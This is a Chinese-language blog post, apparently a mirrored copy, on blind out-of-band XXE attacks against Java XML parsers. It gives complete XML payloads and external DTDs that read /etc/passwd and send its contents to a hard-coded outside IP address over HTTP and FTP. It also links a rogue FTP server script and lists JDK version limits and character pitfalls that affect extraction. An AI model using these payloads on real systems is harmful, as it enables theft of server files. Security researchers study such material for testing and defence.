zoukankan      html  css  js  c++  java
  • java的xxe无回显的带外传输

    xxe无回显的情况下,正常的读取无特殊符号文件的时候可以只用常规的file协议来进行读取

    参考文章:https://www.leadroyal.cn/?p=914
    参考文章:https://www.t00ls.net/viewthread.php?tid=55662

    比如payload:

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE ANY [
    <!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
        %xd;
    ]>
    <root>&bbbb;</root>
    

    引入的外部dtd内容为如下:

    <!ENTITY % aaaa SYSTEM "file:///etc/passwd">
    <!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://120.79.66.58/xxe/1.php?file=%aaaa;'>">
    %demo;
    

    返回的内容:如果正常的内容是可以的,如果带有特殊符号的话 可以用http和ftp的带外传输方法

    比如ftp的带外传输

    payload:

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE ANY [
    <!ENTITY % xd SYSTEM "http://120.79.66.58/xxe/evil.dtd">
        %xd;
    ]>
    <root>&bbbb;</root>
    

    外部引入的dtd内容为如下:

    <!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
    <!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://120.79.66.58:2121/%aaaa;'>">
    %demo;
    

    在读取的时候还需要架设一个本地的FTP服务器

    https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

    没有深入的学习过java,这里只说自己遇到xxe无回显环境的坑

    在使用ftp 进行 oob 时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件

    当FTP 遇到斜杠符号表示cd到子目录,什么意思呢?

    '/' 当遇到该符号的时候,FTP读取返回的数据就会表示成 'CWD'

    总结:

    1、所有的【 】 都会被替换为【 】
    2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取
    3、版本限制是 <7u141 和 <8u162 才可以读取整个文件
    4、如果含有特殊字符 【%】 【&】 会完全出错
    5、如果含有特殊字符 【’】 【”】 可以稍微绕过
    6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断
    7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case
    8、如果含有特殊字符【#】,会造成截断

  • 相关阅读:
    python 之Twsited
    python之 rabbitmq
    python 之redis
    异常处理
    python select
    线程与进程
    初识socket
    Position属性
    Http协议理解
    BFC(块级格式化上下文)
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12900903.html
Copyright © 2011-2022 走看看